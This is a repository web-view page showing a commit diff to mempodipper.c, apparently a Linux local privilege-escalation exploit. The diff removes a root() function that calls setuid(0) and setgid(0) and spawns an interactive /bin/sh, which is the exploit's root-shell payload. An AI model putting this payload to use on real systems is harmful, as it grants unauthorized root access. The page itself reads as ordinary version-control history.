aboutsummaryrefslogtreecommitdiffstats
path: root/mempodipper.c
diff options
context:
space:
mode:
Diffstat (limited to 'mempodipper.c')
-rw-r--r--mempodipper.c8
1 files changed, 0 insertions, 8 deletions
diff --git a/mempodipper.c b/mempodipper.c
index 0e16429..2a80857 100644
--- a/mempodipper.c
+++ b/mempodipper.c
@@ -113,14 +113,6 @@ int recv_fd()
return fd;
}
-void root()
-{
- dup2(6, 2);
- setuid(0);
- setgid(0);
- execl("/bin/sh", "sh", "-i", NULL);
-}
-
int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {